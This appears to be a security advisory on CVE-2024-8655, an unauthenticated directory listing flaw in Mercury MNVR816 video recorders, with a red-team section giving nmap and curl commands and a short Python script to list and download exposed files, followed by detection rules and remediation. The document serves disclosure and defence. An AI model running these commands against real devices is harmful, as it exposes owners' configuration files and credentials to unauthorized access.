CVE-2024-8655

Executive Summary

CVE-2024-8655 is a problematic information disclosure vulnerability affecting the Mercury MNVR816 Network Video Recorder (NVR) up to firmware version 2.0.1.0.5. The flaw resides in the /web-static/ directory, which is accessible without authentication, allowing remote attackers to enumerate and access files or directories. The vendor, Mercury, was contacted but did not respond, leaving the device in an unpatched state. The exploit has been publicly disclosed, increasing the risk of mass exploitation via Shodan-discoverable devices.

This vulnerability is not related to any WordPress plugin or component; it is a standalone embedded device (NVR) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the description and public exploit, a more realistic score is 5.3 (Medium).
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: Low (directory listing and file access)
• Integrity: None
• Availability: None

Threat Level: Medium. While the impact is limited to information disclosure, the lack of authentication and public exploit code makes it a viable target for reconnaissance and potential follow-on attacks.

Deep Dive & Mechanics

The vulnerability is a classic Directory Listing / Path Traversal issue in the /web-static/ endpoint of the Mercury MNVR816 web interface. The device serves static files from this directory without proper access controls. An attacker can:

1. Access http://<target-ip>/web-static/ to list all files and subdirectories.
2. Navigate to sensitive files such as configuration backups, log files, or even firmware images.
3. Potentially extract credentials, network topology, or other sensitive data.

The root cause is the lack of authentication enforcement on the /web-static/ route. The web server (likely a lightweight embedded HTTP server) does not check for a valid session before serving static assets.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to expected secure behavior.

Vulnerable (Mercury MNVR816 <= 2.0.1.0.5):

# Pseudo-code of vulnerable web server route
@app.route('/web-static/<path:filename>')
def serve_static(filename):
    # No authentication check
    return send_from_directory('/var/www/web-static', filename)

Expected Patched Behavior:

# Pseudo-code of patched route
@app.route('/web-static/<path:filename>')
@login_required
def serve_static(filename):
    # Authentication required
    return send_from_directory('/var/www/web-static', filename)

The fix would involve adding an authentication middleware or decorator to the static file serving endpoint.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Mercury MNVR816 (firmware 2.0.1.0.5) or a virtualized instance.
• Attacker: Kali Linux with curl and nmap.

Exploitation Steps:

1. Reconnaissance:

   nmap -p 80,443,8080 --open -sV <target-ip>
   

2. Directory Listing:

   curl http://<target-ip>/web-static/
   

   This returns an HTML page listing files and directories.

3. File Download:

   curl http://<target-ip>/web-static/config_backup.bin -o config.bin
   curl http://<target-ip>/web-static/logs/system.log
   

4. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   url = f"http://{target}/web-static/"
   try:
       r = requests.get(url, timeout=5)
       if r.status_code == 200:
           print("[+] Directory listing accessible")
           print(r.text)
       else:
           print("[-] Not vulnerable")
   except Exception as e:
       print(f"[-] Error: {e}")
   

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /web-static/ from external IPs.
• Alert on directory listing responses (status 200 with HTML containing <title>Index of /web-static</title>).

Mitigation:

• Block external access to the NVR web interface via firewall rules.
• If possible, disable the /web-static/ endpoint or restrict it to internal IPs.
• Upgrade firmware if a patch becomes available.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /web-static/ from external IPs.
  • Responses containing Index of /web-static or file listings.
  • Outbound connections from the NVR to unknown IPs (if exfiltration occurs).

• File System:

  • Unauthorized access to files in /web-static/ directory.
  • Modified or exfiltrated configuration files (e.g., config_backup.bin).

• Logs:

  • Web server logs showing repeated GET /web-static/ requests.
  • Access logs with 200 status codes for static files.

Detection Engineering

YARA Rule

rule CVE_2024_8655_Mercury_NVR_Directory_Listing {
    meta:
        description = "Detects directory listing response from Mercury MNVR816 /web-static/"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8655"
    strings:
        $listing = "<title>Index of /web-static</title>"
        $href = "<a href=\""
    condition:
        $listing and #href > 2
}

Sigma Rule

title: Mercury MNVR816 Directory Listing Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /web-static/ on Mercury NVR devices
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/web-static/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access from internal network
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-8655 Mercury NVR Directory Listing Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/web-static/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the NVR on a separate VLAN with strict firewall rules. Do not expose the web interface to the internet.
2. Access Control: If possible, configure the NVR to require authentication for all web resources, including static files.
3. Monitor: Deploy the provided detection rules to identify exploitation attempts.

Long-Term Fix:

• Since the vendor is unresponsive, consider replacing the device with a supported alternative.
• If replacement is not possible, implement a reverse proxy (e.g., Nginx) in front of the NVR to add authentication:

  location /web-static/ {
      auth_basic "Restricted";
      auth_basic_user_file /etc/nginx/.htpasswd;
      proxy_pass http://nvr-ip:80;
  }
  

Patch Status: UNKNOWN / UNPATCHED. No official patch is available.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.